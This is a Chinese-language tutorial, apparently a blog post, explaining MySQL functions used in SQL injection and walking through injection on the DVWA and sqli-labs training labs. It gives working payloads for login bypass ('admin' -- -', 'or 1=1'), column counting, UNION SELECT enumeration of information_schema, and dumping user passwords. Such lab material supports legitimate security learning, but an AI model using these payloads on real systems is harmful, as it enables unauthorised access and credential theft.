sql注入中的常用函数

@@datadir 函数

作用:返回数据库的存储目录

@@version_compile_os 函数

作用:查看服务器的操作系统

concat(str1,str2) 函数

作用:连接两个字符串并传入数据库

concat_ws(separator,str1,str2) 函数

作用:用分隔符连接两个字段的字符串

group_concat(str1,str2) 函数

作用:将多行查询结果以逗号分隔全部输出

group_concat(concat_ws(seperator,str1,str2)) 函数

作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔

mid()函数

SELECT MID(ColumnName, Start [, Length])

从指定字段中提取出字段的内容

column_name:字段名

start:开始位置

length:长度

limit()函数

SELECT * FROM TABLE LIMIT M,N

返回结果中的前几条数据或者中间的数据

m是指从m位开始(第一位为0)

n是指取n条

Substr()函数

substr(a,b,c)

截取字符串

a 所要截取字符串

b 截取的位置

c 截取的长度

系统信息函数

database()

返回当前数据库名

connection_id()

返回当前客户的连接id

found_rows()

返回最后一个select查询进行检索的总行数

user()或system_user()

返回当前登陆用户名

version()

返回mysql服务器的版本

使用DVWA-master渗透测试平台进行sql注入

登录界面万能密码注入

1.先将DVWA的安全等级设为low

2.输入万能密码admin' -- -    (注意中间的空格)

3.密码随便,点击提交登录成功

注意问题:此处的万能密码需填写用户名

在不知道有哪些用户的情况下可以用' or 1=1 limit 1 -- -

794fba9abb1b4b4c9131afb90ded152f.png

查询界面的sql注入

一.判断是否存在注入

1' and 1=1 -- -

1' and 1=2 -- -

二.判断有多少列

1' order by 2 -- -

977e7ca54ad03dffb60dc49bd49b34cf.png

1e59ac3f513bbedd55e3b4580a6c43fb.png

2能正常显示,3就会报错,说明只有两个显示位

三.判断数据显示点

1' union select 1,2 -- -

f53054baef6544df30b7e4d4837f5427.png

四.查看数据库基本信息

1' union select version(),database() -- -

523855ce582effecc8e3fe4621662d33.png

五.查看数据库有哪些表

1' union select 1,(select group_concat(concat(table_name)) from information_schema.tables where table_schema = 'security' ) -- -

5fc7ed4c90a01a0af1c7fd6d3cc0f035.png

六.查看对应表有哪些列

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ) -- -

d236c2d6b3fa4cb88ccf65cd4a9c1f0d.png

七.查看账号密码信息

1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users) -- -

288de4147c06b52e31cc196304165961.png

使用sqli-labs游戏系统进行sql注入

1.首先确定用哪些字符可以进行sql注入

一.选择Less-1进入第一关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=1 -- -

9b5419fc5e981a3e1f5f0069d0d0bf7a.png

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ' 字符注入

d4d36b9216fbd47da9fff731564fa931.png

二.进入第二关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-2/index.php?id=1 and 1=1 -- -

5385ee941a89829715fe577c7a4b2e95.png

把1=1改成1=2,不报错也不显示任何信息,说明可以进行整数型注入

da03e8a3bd27f3741d97cae3e2a8740f.png

三.进入第三关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-3/index.php?id=1') and 1=2 -- -

740ecd07034b0a6bcba52a370e9b97f4.png

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ') 字符注入

c64017bd819f28b7002cf8741572db0a.png

四.进入第四关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-4/index.php?id=1") and 1=1 -- -

27d9c7023eed71b719a93c00687df524.png

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ") 字符注入

3fe607becac672c0b37b1068023a74d8.png

2.确定注入字符后,判断有多少列,标红部分为判断语句,超出列数会报错

http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 -- -

868842f434796376f2578c44ebc5364d.png

3.判断数据显示点   (id一定要改为0或负数)

http://localhost/sqli-labs-master/Less-1/index.php?id=0' union select 1,2,3 -- -

5afd220413b5aba3b1ce6aac464c8e92.png

4.然后便可在注入字符后加入sql注入语句

union select 1,user(),database()-- -显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ),3查看对应表有哪些列

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3查看账号密码信息

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐